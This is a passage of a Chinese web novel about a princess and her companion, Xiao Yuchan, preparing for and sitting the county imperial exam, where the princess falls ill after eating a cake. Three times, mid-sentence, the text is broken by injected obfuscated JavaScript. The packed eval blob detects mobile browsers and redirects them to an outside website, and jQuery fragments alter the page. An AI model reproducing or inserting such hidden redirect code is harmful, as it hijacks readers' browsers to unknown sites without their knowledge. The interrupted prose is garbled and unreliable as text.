萧柠细细打量着庆安县主,见她身材婀娜,仪表不俗,容貌虽不是十分出色,却带着一种与生俱来的傲气和贵气。这种傲气不是傲慢,而是有种“众人皆醉我独醒”的感觉。 她头上戴着几根蝴蝶簪,看起来灵动又俏皮。 萧柠道:“以后我就叫你玉蟾吧。你读书有多少年了?” 萧玉蟾道:“臣女三岁开始读书,至今已有十五年。” 萧柠听了十分欢喜,看来这庆安县主跟自己是同道中人。 “你虽是我的伴读,但我这些天暂时不打算去宗学堂,因为我要准备接下来的童生考试。等考试结束了,我们可以一起去宗学堂学习。这几天,你就在桃夭宫里陪我吧。我已经给你准备好了房间。” “是。公主这几日可有什么需要我做的?如果没有的话,我就回自己房间了。” 萧柠想了想,道:“你了解试帖诗吗?” “了解。” “了解到什么程度?” “公主随便出题,我能随时作一首诗的程度。” 萧柠惊讶:“真的吗?” “是的,因为我这些年一直在研究科举。所以,有关科举考试的事,我都很清楚。” 萧柠喜出望外:“那太好了,我正好需要人指导。我的伴读学士是义父姜焕,但他太忙了,只能偶尔跟我说几句话。你日夜陪在我身边,正好帮我练习试帖诗。” 萧玉蟾道:“没问题。我得先看看公主平日的诗文,再决定应该如何辅导。” 萧柠把自己平时写的诗文拿给萧玉蟾看,自己昨天写的两首试帖诗也一起拿了过来。 萧玉蟾看了之后,道:“公主很有才学,只是缺乏针对考试的练习。接下来还有九日时间,我来训练公主,足以让您通过童生考试了。” 64. 报名(修) 萧柠喜道:“真的吗?我能通过?” “以公主的文采来看,没问题。只要再做一些训练就好了。” “好,那就有劳你了。” 萧玉蟾是个务实的性子,也没有多余的话,直接给萧柠制定了九天的学习计划,每一天都各有侧重。 今天,她的教学计划是,由她说出一句诗,然后萧柠快速画一幅画。不必画得太好,只要画出诗中的意境就行。 萧玉蟾解释道:“公主,让您作画并不是浪费时间,而是训练您一看到某句诗,就迅速出现一个画面。要写诗的话,只要根据这个画面来写就行了。这幅画越具体,画中的东西越多,写起诗来也就更得心应手。这样训练几次之后,就可以不用真的作画,而是在脑海中想象诗句的画面。” 萧柠道:“好,请出题吧。” 萧玉蟾道:“第一题:‘无可奈何花落去。’作画时间一炷香。”【注释1】 萧柠从来没有在这么短的时间内作一幅画。她快速想了一下,想要在短时间内完成的话,就不能仔细考虑构图、用笔等技巧,只能完全凭借直觉下笔,画出自己听到这句诗词的第一感觉。 于是,她用寥寥数笔画了一株花树,纷纷扬扬的花瓣从树上飘落,地上满是杂乱的花瓣。 有一个中年诗人面对着花树,,默默地看着,似乎在感慨。 树下有块石头,旁边有一条小溪流过,溪水里也有几片花瓣。 花、树、人都集中在画面的左边,右边除了有小溪流过之外,没有什么东西,显得空旷。 不过,萧柠想画的已经画出来了,不想再补充什么东西进去了。 时间仓促,她甚至连自己画的是什么树都不知道,树下的人也略显潦草,但整幅画呈现出一种凄美而忧伤的感觉。 画完后,她抬头一看,一炷香还未燃尽。 萧玉蟾道:“公主画得很好。现在若要让您为这幅画配一首诗,您能写吗?” 萧柠道:“可以。看着画来写诗,似乎会更快一些。” “您不需要真的写,今天我们只练作画。接下来是第二题:‘天姥连天向天横’。同样也是一炷香的时间来作画。”【注释2】 萧柠心想,这句诗的重点在于表现天姥山之高。 于是,她画了一座高耸入云的山峰,山峰的顶部有白云环绕。几只苍鹰盘桓在山峰的中部位置,没法再往上飞了。 山峰底下有一条河,河上有一艘小船。有个诗人坐在船头,仰头看着山峰,一只手拿着酒杯,另一只手撑在船头,非常洒脱不羁的样子。 画好之后,萧玉蟾点头道:“没错,这是我想要的感觉。” 萧柠看着自己的画,感觉心中有旺盛的表达欲,能马上写一首试帖诗。 不过,她没有写。 因为,写不写出来已经不再重要。 这就是得鱼忘筌。 “鱼”就是诗句的含义和实质,包括诗句所呈现出来的画面,还有画面之外的东西,一种只可意会、不可言传的东西。 “荃”自然就是为这句诗所写的试帖诗。 当一个人能遨游天际的时候,走路对她来说已经过于简单,无需刻意练习。 萧柠觉得庆安县主很聪明,她的方法让萧柠上了一个台阶。 一整天,庆安县主都在出题,萧柠也画了十几幅画。 她从来没这么充实过。 为了有更多的时间训练,萧柠对萧玉蟾道:“玉蟾,这些天你就跟我一起睡吧,不用去你自己的房间了。我们起床之后的梳洗打扮,也尽量简单一些,这样可以省出更多时间。” 萧玉蟾道:“谨遵公主吩咐。” “对了玉蟾,你为何会研究科举考试?” 萧玉蟾道:“因为我小时候,曾经想过要参加科举考试,成为进士,将来出将入相,造福百姓。直到五岁那年,我才明白,我是女孩,不能参加科举。 即便我是男孩,由于我的身份是宗室近支,也是无权参加科举的。可是那时候,我已经读了很多书了,不甘心就此放弃学业。所以这些年,我一直以举子的身份要求自己,不曾懈怠。 每次科举考试结束,我都会搜集试题进行作答和分析,我会想象如果自己在考场上的话,能不能考中?久而久之,我对科举的流程就非常熟悉了。” 萧柠道:“原来如此。” 萧柠觉得,萧玉蟾也是一个有大志向的女子,她的人生不该局限于平静安逸的生活,她可以做更多事情。 一个伟大的灵魂,被困在女人的身体里,壮志不得申,实在令人扼腕。 如果让萧玉蟾和自己一起参加科举会怎么样? 科考之路上有个伴,也能互相促进吧? 萧柠想了想此事是否可行。 如果她去求皇帝,让萧玉蟾跟自己一起参加童生考试,可能问题不大。 但她们两个女孩如果想接着往上考,可能会引起皇帝的猜疑与反对。 但是,总要试试的。生命只有一次。 无论如何,先取得童生资格再说。以后说不定会出现什么机缘,让她和萧玉蟾能继续往上考。 于是,萧柠对萧玉蟾道:“玉蟾,如果你跟我一起参加童生考试,你觉得好不好呢?” 萧玉蟾震惊地看着萧柠,又是惊喜,又是疑惑:“可以吗?皇上同意吗?” “如果你愿意的话,我会去求得父皇同意。” “我愿意!” 萧玉蟾没有任何犹豫,直接说出了这句话。 她在这一瞬间,其实心里也有很多顾虑。比如,万一皇帝觉得她野心大,不仅不允许她参加童生考试,还不许她继续当大公主的伴读,怎么办?万一她因为这个不合理的请求,而被责罚,甚至剥夺县主身份,怎么办? 但是,她心里对知识、对功名、对实现个人价值太渴望了,她愿意押上自己的身家性命。 她觉得身体里有无数个自己,在冲破她的喉咙、嘴巴,让她说出“我愿意”。 那是无数个沉迷于读书的自己,无数个一直在思考、在呐喊的自己,无数个羡慕普通举子的自己。 萧柠握住了萧玉蟾的手,道:“有你这句话就行,我明天去求父皇。如果他同意了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147007|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们就一起去报名考试。” 萧玉蟾点头道:“是,多谢公主!” 第二天,等皇帝早朝结束,萧柠就去见了皇帝,说这件事。 皇帝有些惊讶:“你要让庆安县主跟你一起参加县试?” “是的,父皇。儿臣只是想找个伴,一个人考试太无趣了,请父皇同意了吧。” 皇帝觉得,这也不算什么大事,就当是两个女孩一起去玩了。 于是,他便说道:“也好,只是你们要一起去,一起回来,互相照应。朕会派尚书仆射姜焕带你们前去,你们要听从他的安排。” 萧柠满口答应:“是,父皇。” 得到了皇帝的允准,萧柠兴冲冲地回到房间,带上萧玉蟾,一起去找义父姜焕,让姜焕带她们出宫报名。 姜焕得知庆安县主也要参加县试,有些意外,但随即又很惊喜,笑道:“没想到这世上还有跟大公主一样喜欢读书的姑娘。大公主小时候,手不释卷,比男孩还用功呢。” 庆安县主道:“其实,喜欢读书的女孩应该挺多的,只是大部分人没有这个机会和环境罢了。” 萧柠和萧玉蟾同乘一车,姜焕骑着马在前面带路。 没过多久,就到了曲水县的县衙。 已经有一些举子在报名了,姜焕下令清场,等萧柠和萧玉蟾报名完毕后,其他人再进来。 报名需要填写姓名、年龄、籍贯、父母、祖父母等信息,但萧柠和萧玉蟾身份特殊,姜焕表明了身份后,县令便诚惶诚恐地说:“公主和县主只需填写姓名、年龄即可,其他可空着。” 另外,按照规矩,举子填好报名表后,还需要找一个廪生,证明自己的身份属实。 但现在有姜焕为她们证明,姜焕的身份比廪生高多了,自然没问题。 报名结束后,萧柠和萧玉蟾马上回到马车上,隔绝了其他人窥探的视线。 马车缓缓朝皇宫驶去,萧柠还能听见外面举子的议论。 “怎么有两个姑娘来报名啊?” “听说,那两个姑娘的身份非同一般,是由一个高官带来的,而且她们是由那个高官做保的。” “该不会是公主吧?” “我觉得有可能。” “公主为什么要来参加童生考试啊?公主不是什么都有吗?” “是啊。你说这公主来参加了,前两名会不会内定给她们啊?这样是不公平的。” “这就说不准了,不过我本来也考不上前两名,不关心这个了。” “我可是想当案首啊,如果这案首之位被内定给公主,那可真是太过分了!” “哎,小声些,她们还没走远呢。” 萧柠听着这些议论,心中百感交集。 她和萧玉蟾参加县试,肯定得不到其他人的理解。 因为这是一条前人没有走过的路。 至于那些举子怕前两名被内定,那可真是想多了。 萧柠觉得自己肯定只能取得普通的名次,萧玉蟾虽然比自己强些,但应该也得不到案首之位。 等成绩出来,谣言就不攻自破了。 65. 晕倒(修) 两个女孩回到宫中,都十分兴奋。 萧玉蟾握着萧柠的手,道:“公主,多谢您给我考童生的机会!” 萧柠笑道:“我们要一起成为童生!” “嗯,一言为定!” 她们很快收拾好了心情,接着复习。 其实以她们的水平,考上童生问题不大。但是科举考试是一个长期的过程,需要经过多轮考试,而且一次比一次难。 所以她们要抓紧一切时间提高自己的水平。以应付接下来的考试。 她们最终的目标是成为进士。 她们按照萧玉蟾的计划进行复习,互相给对方出题。每次答题的时候都像是在考场上一样认真。 她们觉得书上的字都开出了花,承载着对未来的希望。 以前,她们的生活悠闲、散漫,即便要学什么,也不会全力以赴,能学个七八分就好了。 但现在她们带着十二分的紧迫感、信念感去学习,虽然要投入更多精力,但是她们心里更幸福了。 她们的人生,第一次有了明确的方向。 在屋中学得累了,她们就捧上一卷书,到花园里边散步边学习。 这样,运动量也有了。 这时却听到一个盛气凌人的声音:“你们在干什么?” 萧柠抬头一看,见到一个穿着鹅黄色苏绣衣裙的少女,正是长得跟自己相似的二公主萧梦苒。 萧柠说道:“我们在读书,二妹妹要一起吗?” 萧梦苒不屑地笑道:“别以为你读个书,考个童生,父皇就会多看你一眼了。父皇最宠爱的女儿始终是我,有些人再怎么费心机也是没用的。” 见萧梦苒误解了自己考童生的意图,萧柠忽然决定将计就计。 她笑道:“那可不一定。如果我考中了童生,父皇一定会对我刮目相看的。以后他举行文会,说不定会邀请我一起。他若闲暇时想跟人一起看书,也可能会想到我,我就能有很多跟父皇相处的机会。” 萧梦苒笑了,像在看一只癞蛤蟆:“你可真是异想天开啊,父皇的文会一向只邀请重臣和大学士参加的,不可能让后宫女眷参加。 他若是想跟人一起看书,自然会去找受宠的妃子,比如我母妃,为何会来找你?你就算读再多书,也不过是个书蠹罢了。 父皇不需要一个死读书的公主,只需要一个能时时陪在他身边、逗他开心的公主。 你既没有得势的母妃,也没有可以依仗的势力,更没有跟父皇朝夕相处的情分,再怎么努力也是徒劳的。” 说完,萧梦苒就扬长而去。 而萧柠的嘴角,也露出一抹微笑。 就让萧梦苒继续认为萧柠考科举是为了得到父皇的关注与宠爱吧,最好皇帝自己也是这么认为的,这样萧柠的科举之路就能少很多阻碍。 只要萧柠明面上的目的是获得皇帝的宠爱,皇帝就会认为这只不过是女儿之间争风吃醋的小手段罢了,不会因此而忌惮萧柠。 很快就到了童生考试的前一天。 尚书仆射姜焕托小太监传话,说想见萧柠一面。 萧柠赶紧去尚书台,在耳房见到了姜焕。 “义父找我有什么事吗?” 姜焕说道:“明日公主和庆安县主便要参加童生考试了。为了避免出差错,臣会亲自为你们准备吃食。你们不要买考场附近的东西吃,这样就不会出什么问题了。” 萧柠十分感激,说道:“多谢义父。” 姜焕考虑得十分周到。萧柠和庆安县主平时都锦衣玉食,基本上没有吃过民间的食物。 如果在考试当天他们买到的食物不干净,闹了肚子,会影响考试状态。 由姜焕来准备就不会有任何问题。因为萧柠从小在江姜家长大,姜家的厨子很清楚她喜欢什么,能吃什么。 萧柠觉得自己很幸运,虽然她在皇帝心中不是特别重要,但是在义父姜焕的心中却仍是亲生女儿一般。 姜焕是个好父亲。他对所有的孩子都一视同仁,没有偏心。 所以萧柠从小是在一个充满爱和包容的环境中长大的。 她对姜焕的亲情,其实比对皇帝更为深厚。 但她现在只能和姜家的人分开,偶尔才能见上一面。 不过她相信这种日子不会太久,如果有朝一日她掌了权,自然想做什么就做什么。 姜焕说道:“公主回去问问庆安县主,看她有什么忌口,有什么过敏的食物。问出来之后请小太监来给臣传话,这样臣就知道应该给她准备什么样的食物了。” “好,我现在就回去问问。” 萧柠回房之后,跟庆安县主说了姜焕会为他们准备食物的事,并询问肖玉蟾有什么忌口。 萧玉蟾道:“我不能吃冰的,也不能吃虾,其他没有忌口。替我多谢姜大人。” 萧柠笑道:“不用客气。有我义父帮忙准备食物,我们只需要安心考试就成。” “嗯,今天我们早点睡觉吧。” 第二天,两个女孩儿在姜焕的带领下,来到了曲水县的县衙考场。 姜焕给了她们一人一个食盒,说道:“公主,县主,这里面是臣为你们准备的一些干粮和水,记得不要多吃,特别饿的时候再吃,免得在考试时间上茅房。” 萧柠和萧玉蟾都道:“知道了,多谢姜大人嘱咐。” 姜焕这样嘱咐是有原因的。科举考试的过程中,考生如果出去上茅房,考官就会在他的试卷上盖一个印戳。 虽然表面上没什么影响,但是印戳肯定会影响整个试卷的整洁度,印戳越多,卷面越乱。而考试成绩的评定,其实跟卷面的整洁度关系很大。 所以大部分举子在进入考场后,都会少吃少喝。 县试一共要进行五场考试,每场考试会间隔一两天的休息时间。在休息时间内吃饭上茅房是自由的,只要不是在考试中途上茅房就行了。 姜焕只能送到门口,于是便站在门口对两个女孩儿又嘱咐了几句话,然后便离开了。 萧柠和萧玉蟾一起走了进去。 参加考试的举子都要搜身,以防夹带东西进去。 但萧柠和萧玉蟾是女孩,而且身份尊贵,县令就找了一个女狱卒来为她们搜身。 县令解释道:“公主,县主,衙门里的官吏都是男人,只有大牢里面有一个专门看管女犯的女狱卒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147008|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所以下官就让她来给两位搜身。不知您二位是否介意?” 萧柠道:“自然不介意。我们也需搜身,以免引来闲杂人等的猜疑。” 说着萧柠就主动张开双臂,让女狱卒检查。 很快,萧柠和萧玉蟾就检查完毕,进了考场。 时间还早,还没有到入座的时候,所以大家都站在院子里。 很多举子偷偷打量着肖宁和萧玉蟾,似乎觉得她们俩很奇怪。 有些人知道她们是来考试的,有些人不知道,在窃窃私语。 只有少部分的举子专心看书,两耳不闻窗外事。 有个胆子大的举子走上前来问道:“两位姑娘,你们怎么进考场来了?” 此言一出,有很多人都朝萧柠她们看了过来。 在这种场合,萧柠不需要亲自开口解释。 萧玉蟾身为公主伴读,有责任替公主解围,站出来说道:“我是县主,另一位是公主,我们也是来参加考试的。这是经过皇上允准的,你们不得冒犯公主和本县主,看自己的书去吧。” 举子们赶紧退开,不敢离两位姑娘太近。 否则,万一出了什么差池,搭上他们全家也赔不起。 公主和县主是他们即便当了官也未必能见到的人物,更何况,他们现在连童生都不是。 萧柠感受到了权力所带来的好处。 女子本是弱势群体,但因为身份高贵,就可以令这么多男人噤若寒蝉。 所以女孩儿要想保护好自己,就应该尽量往高处走。 这时候有一个身材瘦弱的举子晕了过去,他的同伴赶紧掐着他的人中。 可是掐了好一会儿,那个瘦弱举子还是没有醒。 其他人纷纷问道:“他怎么了?” “是啊,怎么好端端的晕了过去?” 旁边的同伴说道:“他从昨天到现在一直没有吃东西,可能是饿晕的。” 其他举子纷纷露出恍然大悟的神情,说道:“虽然考试中途要尽量避免上茅房,但他也不用饿这么久啊。” “是啊,太饿了,写字都没力气,怎么考试呢?” “如果现在熬坏了身体,就算将来做官了又怎么样?照样坚持不了多久的。” 同伴说道:“是啊,我也是这么劝他。可是他家境贫寒,父母好不容易供他读了几年书,说是只允许他参加一次考试,如果这次考不上童生,以后就再也不让他读书了。 他过于重视这次考试,所以才不吃不喝的。而且他进了考场,也没有带任何吃的,” 围观的人听了唏嘘不已。 科举考试是底层人翻身的最大机会,也难怪那瘦弱举子会如此。 这时,那瘦弱举子醒了。 同伴问他:“夏以清,你要不要吃点东西?” 夏以清摇了摇头,没有说话。 同伴有些着急,说道:“你好歹也得吃一点,要不你吃我的吧?” 说着同伴去找自己的食盒。谁知,他竟发现食盒不在身边。 “糟了,我忘了带食物。诸位仁兄,可否分一点食物给我的同伴夏以清吃?他再不吃一点,我怕他饿晕在考场。” 66. 茅房(修) 可是,其他举子都有些犹豫。 “抱歉,我也没带食物,我只带了一点水。” “我倒是带了点吃的,但是只够我自己吃的,不能分给他,抱歉。” “我有食物,但不敢分给其他人。万一他在考场上出了什么状况,赖我的食物不好,那我承担不起这个责任。” 举子们都心怀顾虑,不敢给夏以清吃的。 他的同伴很着急,但没有办法。 萧柠走上前道:“我有很多食物,吃我的吧。” 夏以清赶紧辞谢:“公主的食物,小人怎配吃?” “这有什么不能吃的?本公主赏你了。” 说着萧柠就打开食盒,里面有许多精致而丰盛的糕点。 其数量之多,萧柠就算吃几天也吃不完。 夏以清也被这些琳琅满目的糕点惊呆了,他应该从来没有见过这么好看的食物。 他的手悬在半空,移来移去,似乎没想好应该拿哪一块。 姜柠对他说:“你喜欢什么,都拿去好了,只需要给我留下几块就行。你很久没有吃东西了,应该很饿,要多吃点才能吃饱。” 夏以清道:“多谢公主,那小人就多拿几块了。等下次见面时,小人再还您一些食物。” 萧柠笑道:“不用还了,本公主难道还会缺食物不成?你尽管拿了就是,不必记在心上。” 夏以清拿了一些核桃酥、凤梨酥、椰汁糕、马蹄糕、青稞饼等。等他拿完了,食盒空了大半。 他的同伴说道,“夏以清,你还真是不客气呀,怎么能拿走这么多呢?” 夏以清有些难为情地说:“我……我实在太饿了,所以一下子拿了太多。” 萧柠道:“你拿得多才好呢,这些糕点都是不能隔夜的。你多吃点就不用浪费了。” 围观的举子们纷纷说道:“公主太善良了。” “是啊,我们都不如公主。” 系统也出现了,用意念对萧柠说道:“萧柠,你分给其他人食物,获得了100积分,现在的积分是6600。” 萧柠心中很高兴,她要多积攒一点积分,换个大的奖励。 夏以清狼吞虎咽,把所有拿走的糕点都吃完了,萧柠又分给他一点水。 喝完水后,夏以清脸色才好一些,他再次对萧柠长揖作谢。 很快,就到了考试的时间。 萧柠到了自己的座位上。 座位比较窄小,坐着有点不舒服,而且还有一股怪味。 不过萧柠知道她只在这里待几个时辰而已,等考完试就能离开了,便暂且忍耐。 食盒上还挂着一个香囊,里面装的是风干的水果。水果的清香冲淡了座位里面的怪味,让萧柠觉得好受了一点。 这个香囊自然也是义父姜焕准备的,萧柠不得不感慨姜焕的细心。 这场考试考的是对《孟子》里两段话的理解,要对这两段话分别写一篇策论。而且在最后要写一首试帖诗,名字是“明月松间照”。【注释1】 考试时间是两个半时辰。 在这么短的时间内,要写完两篇策论、一首试帖诗,时间并不宽裕。 萧柠不敢懈怠,稍微看了一下题目,有了思路后,她便提笔开始写了。 写了一会,她觉得饿了,便打算拿块糕点吃。 盒子里的糕点所剩不多,之前夏以清大概每种拿了一些,不过他没拿葵花酥。 所以,现在葵花酥的数量是最多的。 萧柠随手抓了一块,便抓到了葵花酥。 她三两口就吃完了,免得掉渣。 她觉得葵花酥的口味跟以前略有不同,但也没在意。 没想到,过了一会,她突然觉得肚子疼。 她本想憋着,可腹痛如绞,实在憋不住了,很想上茅房。 如果考试中途出去,自己的卷子上就会多一个印戳,影响卷面整洁。 可是不出去,她恐怕憋不住,总不能当场解决吧?而且,现在肚子太疼,她已经没法思考自己要写什么,也没法动笔写字了。 权衡之下,她还是举手示意监考官,表示自己要去茅房。 监考官赶紧放萧柠出来,并在她的卷子上盖了一个黑色印章。 萧柠心情不佳,但也只能先去如厕。 在茅房里,她思考着自己为何会腹痛。 她今天吃的东西不多,而且食盒里的点心是义父姜焕亲自准备的,应该不会有问题才对。 莫非是昨晚着凉了? 可是她盖的是温暖的鹅绒被,窗户也关着,不至于着凉啊? 她想不出原因,只能归结于自己太紧张了,才会出状况。 她想赶紧结束,好快点回去作答。 可是,腹痛一阵接一阵,哪怕已经排空了,她仍是站不起来,只有把上半身往下靠,才能舒服些。 这个状态,肯定是没法回座位的。 如果腹痛一直持续,她没法在座位里蜷缩,因为座位太过狭窄,只能端坐。 因此,她只能在茅房待较长时间。 也许是待的时间过长,监考官都过来看了。但碍于男女有别,监考官不能直接进来查看萧柠的情况。 他也不能出声询问,因为会影响其他学子。 因此,他只是在茅房外面来回踱步。茅房有帘子,他也看不到什么,只能看到萧柠的双脚还算端正,证明萧柠现在是坐着,而非倒下了。 若是人倒地了,可以看见一个大概的身体轮廓的。 见萧柠没有求救,监考官便走开了。 又过了一会,萧柠的肚子才慢慢不痛了。 她赶紧收拾好,回到座位上。 可是,经过长时间的蹲茅房,她肚子又饿了,而且饿得很。 她努力想忽视饥饿的感觉,可越想忽视,饥饿感就越强。 糕点她不敢再吃了,只能忍饥挨饿,并集中全部精力构思自己的策论。 本来她想写的有很多,但时间不够了,她只能草草写完两篇策论。 写完时,离考试结束只有一炷香的时间了。 她还有一首试帖诗没写。 好在她前几天有过对试帖诗的练习,现在已经能轻松在一炷香之内写完一首试帖诗了。 诗的题目是“明月松间照”,这个题目她虽然没有练习到过,但是试帖诗的写法都是相通的。 在过去的九天,她已经写了几十首了,如今到了考场上,可以说是驾轻就熟,信手拈来。 几个呼吸间,她就写完了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147009|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 停笔之后,还剩一点点时间。 不过,已经写好的卷面不能涂改了,萧柠就端坐在座位上,等着考试结束。 她十分庆幸自己在规定时间内把题写完了,但遗憾的是,两篇策论没有发挥出应有的水平。 更为重要的是,她的卷面多了一个黑色印章。这对最终的评分很不利。 据说,在往年的科考中,经常有因为卷面不整洁而被直接淘汰的学子。 想着那些传说,萧柠心情沉重。 这次县试,本就是萧柠求来的,她本来没有资格参加。 如果一次考不中,皇帝应该不会给她第二次机会。 可是,现在只能听天由命了。 她能做的都已经做了。 很快,时间就到了,监考官把众人的考卷都收了上去。 萧柠注意到,整场考试只有她一个人去了茅房,其他人都没去。 萧柠忽然很想苦笑,她也确实这么做了。 收卷结束后,举子们都可以出来了,他们中的很多人去茅房排队了。 萧柠忽然注意到,之前吃过她糕点的夏以清,并未去茅房,而是直接离开了。 夏以清没事? 那为什么自己吃了糕点就闹肚子了? 难道这次闹肚子真的跟食物没关系? 萧柠有些疑惑。 县试一共有五场,今天是第一场,成绩明天出。 如果没通过,就不用参加第二场了。 如果通过了,就准备后天的第二场考试。 所以今天,无论如何都可以休息一下了。 举子们的心情都比较放松,除了萧柠。 萧玉蟾走到萧柠身边,问道:“公主,您怎么会在考试中途上茅房呢?不能忍一下吗?” 萧柠道:“忍不了……我闹肚子了。” “怎么会这样?是食物的问题吗?” “应该不是……另一个举子夏以清也吃了我的糕点,可是他没事。你的食物和我的是一起准备的,都是我义父给的,你也没事。所以,应该是其他原因。” “奇怪……我一直跟公主在一块,没发现您遇到了什么异常的事啊……就算晚上睡觉,我们也是一起的,如果我没着凉,公主应该也不会。” “我也不清楚是什么原因,等下回宫以后,让太医替我诊脉好了……只是,我担心这次考试,我未必能通过了。” “先别担心,结果还没出呢。现在是县试,对卷面的要求没有那么严格的。只要内容写得不错,都能通过。” “可是……因为在茅房的时间太长,我答题的时间短,策论也写得不太完美。” “不需要太完美,公主随手写的策论,通过县试是绰绰有余了。公主,相信我,我对科举考试和您的水平都很了解,我做出的判断就是准确的。” 看见萧玉蟾坚定的眼神,萧柠突然多了几分信心。 她只是没有发挥出最佳水平而已,但谁说打了折扣的卷子就一定会被淘汰呢? 反正结果还没出来,先往乐观的情况想,至少能开心大半天。 萧玉蟾道:“公主,其实我更担心另一种情况。” 【注释1】“明月松间照”,出自王维的《山居秋暝》。 67. 厨娘(修) 萧柠问道:“你说的是什么事?” 萧玉蟾:“以公主的水平,通过考试应该没问题。但是,您在考试中途去茅房,很多举子都看见了。而且,整场考试只有您一人去了茅房。 也就是说,只有您一个人的卷子上有黑色印章。 这也就导致了,您的卷子是独一无二的。虽然卷子是糊名批改,但考官看到有黑色印章的卷子,就知道那是大公主的卷子。 如果您真的通过考试,也许会有人怀疑,您不是凭自己的实力通过的,而是凭自己的身份,凭那份独一无二的卷子。” 萧柠听得有些担忧,道:“别人会这么想吗?” “很有可能,因为您的身份特殊。” “可是,我去茅房真的是突发情况,我自己也不想的。可落在别人眼中,我似乎是故意去茅房,这样就能让自己的卷子变成特殊的卷子。” “没错。” “如果真的发生这种事,该怎么办呢?” “可以什么都不做,或是把质疑您的人抓起来打板子,毕竟您是公主。不过,还有一个更简单的方法,就是公开您的考卷,让所有人都能看到。那么,您到底是不是凭实力通过考试,别人自有判断,想污蔑您也无从污蔑。” 萧柠点头:“你说的方法很好,如果到时候真的有人质疑我,我就直接公开卷子,把卷子贴在县衙门口。” 两人一边说着,一边来到了门口。 她们本想直接回宫,萧柠却听见一声熟悉的叫喊:“大公主。” 萧柠循声望去,见自己的乳母金妈妈站在不远处,殷切地望着她。 金妈妈已经被封为六品诰命夫人,穿戴比以前好了许多。虽然颜色并不鲜艳,但衣料是最近流行的锦缎,价值不菲。 萧柠激动地跑了过去,萧玉蟾跟在萧柠身后。 萧柠对金妈妈道:“金妈妈,好久不见了,您怎么来了?” 金妈妈亦是有些激动,上下打量着萧柠,道:“自从公主进宫以来,咱们就再也没见过了。昨天姜大人派人通知我说,今日公主会来曲水县参加考试。 但是姜大人没空接公主,让我接一下公主。你们在考场里面只能吃干粮,我给你们带了一些热的东西。” 金妈妈打开食盒,里面是一些热气腾腾的食物,全是萧柠喜欢吃的,比如酒酿芋圆、虫草竹笙汤、花生糊、荠菜馄饨、红糖发糕等等。 萧柠已经非常饿了,现在考试已经结束,不用顾忌什么了,因此她就拿出里面的食物,大口吃了起来。 她太饿了,吃什么都香,更何况金妈妈的手艺非常好。 她一会儿吃口炒饭,一会儿喝口馄饨汤,一会儿又喝点花生糊,简直忙不过来。 同时,她还不忘抽出空来,叫萧玉蟾一起吃。 萧玉蟾道:“我不饿,公主自己吃吧。慢点吃,别噎着。” 金妈妈看萧柠大快朵颐的样子,又是高兴,又是心疼,问道:“公主不是带了很多干粮进去吗?刚才难道没吃东西吗?” 萧柠无奈道:“可别提了,我刚才就吃了一块葵花酥,就闹肚子闹个没完没了,差点来不及写完卷子。后来我就什么也没吃了。” “怎么会这样呢?这葵花酥是公主您从小就爱吃的食物,从来没出过问题呀。” “我也不知道是不是食物的问题。总之,我现在得去姜家一趟。” 萧柠相信义父肯定不会害她。义父带来的食物肯定是姜家的厨娘做的,因为姜家的厨娘最了解萧柠的口味。 现在萧柠得快点找到那个做食物的厨娘,问问到底怎么回事。 但是,若要说是厨娘偷偷往食物里加了什么不该加的,萧柠也不相信。 姜家的厨娘都是从小看着萧柠长大的,对她都很好,应该不会有这种坏心思才对。 萧柠和萧玉蟾、金妈妈一起坐上马车,往姜家而去。 路上,萧柠问起金妈妈现在的情况。 金妈妈道:“老身被封为诰命夫人,圣上赐了宅子,宅子就在姜家附近。老身没事的时候还能经常去姜家走走,探望探望故人。” “原来金妈妈的宅子就挨着姜家,这可太好了。” “是啊,没事还能经常串串门,免得无聊。” 很快,她们就到了姜家门口。 公主和县主去臣子家,有一套繁琐的礼仪,需要臣子全家出来相迎。 但萧柠等不及了,直接就进去了。 守门的小厮都认识她,一边开心地迎接她,一边派人去通报姜家的祖母和其他少爷小姐。 很快,姜家众人就出来迎接萧柠和萧玉蟾了。姜焕在尚书台,还没下值,所以不在家。 他们正要行礼,萧柠赶紧拦住他们,说:“大家都不必多礼了,等一下再叙旧。我想问一下,今天给我和庆安县主做糕点的厨娘是谁?” 姜家祖母道:“应该是杜四娘子,她最熟悉公主的口味,而且她的厨艺最好,所以你义父特意让她准备食物。” 萧柠点头:“把杜四娘子叫过来,我有话要问她。” 有两个丫环便去厨房找杜四娘子了。 杜四娘子是姜家的仆妇,因她丈夫叫杜四,所以众人叫她杜四娘子。 杜四娘子是姜家的家生子,一直忠心耿耿的,按理说不会搞什么手段才是。 萧柠和萧玉蟾被请进客房等候。 